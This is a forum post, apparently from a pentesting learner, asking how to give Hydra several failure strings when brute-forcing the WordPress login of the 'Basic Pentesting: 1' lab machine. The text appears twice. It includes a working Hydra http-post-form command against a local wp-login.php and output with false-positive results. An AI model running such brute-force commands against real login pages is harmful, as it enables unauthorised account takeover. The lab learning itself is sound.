Edit: Links removed due to "Sorry, you cannot post links, videos, or images until you've made more than 50 total posts or have upgraded." error. I'll post it later when I have more than 50 posts.
This question is based on security challenge on Basic Pentesting: 1 [link removed].
Feel free to download if you want to reproduce this issue as well.
It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge [link removed].
However, there are 3 different error for this challnge.
Here are 3 different scenario that I've tested.
In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.
E.g.
The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.
How do I fix this problem?
Is it possible to combine multiple blacklisting value in Hydra?
This question is based on security challenge on Basic Pentesting: 1 [link removed].
Feel free to download if you want to reproduce this issue as well.
It's easy to do this if there's only a single error message when credentials entered was wrong such as DVWA login page challenge [link removed].
However, there are 3 different error for this challnge.
Here are 3 different scenario that I've tested.
Code
1. u:root p:root
ERROR: Invalid username. Lost your password?
2. u:root/admin p:<blank>
ERROR: The password field is empty.
3. u:admin p:random
ERROR: The password you entered for the username admin is incorrect. Lost your password?In this example, I'll use the 1st error which is Invalid username as hydra's blacklisting value.
Code
hydra -V -e nsr -l admin \
127.0.0.1 http-post-form \
'/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'E.g.
Code
wolf@linux:~$ hydra -V -e nsr -l admin \
> 127.0.0.1 http-post-form \
> '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-07 18:20:37
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "nimda" - 3 of 3 [child 2] (0/0)
[80][http-post-form] host: 127.0.0.1 login: admin
[80][http-post-form] host: 127.0.0.1 login: admin password: nimda
[80][http-post-form] host: 127.0.0.1 login: admin password: admin
1 of 1 target successfully completed, 3 valid passwords found
Hydra (hxxps://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-07 18:20:38
wolf@linux:~$The problem is if the error string is not Invalid username, then hydra will assume the credentials are correct.
How do I fix this problem?
Is it possible to combine multiple blacklisting value in Hydra?
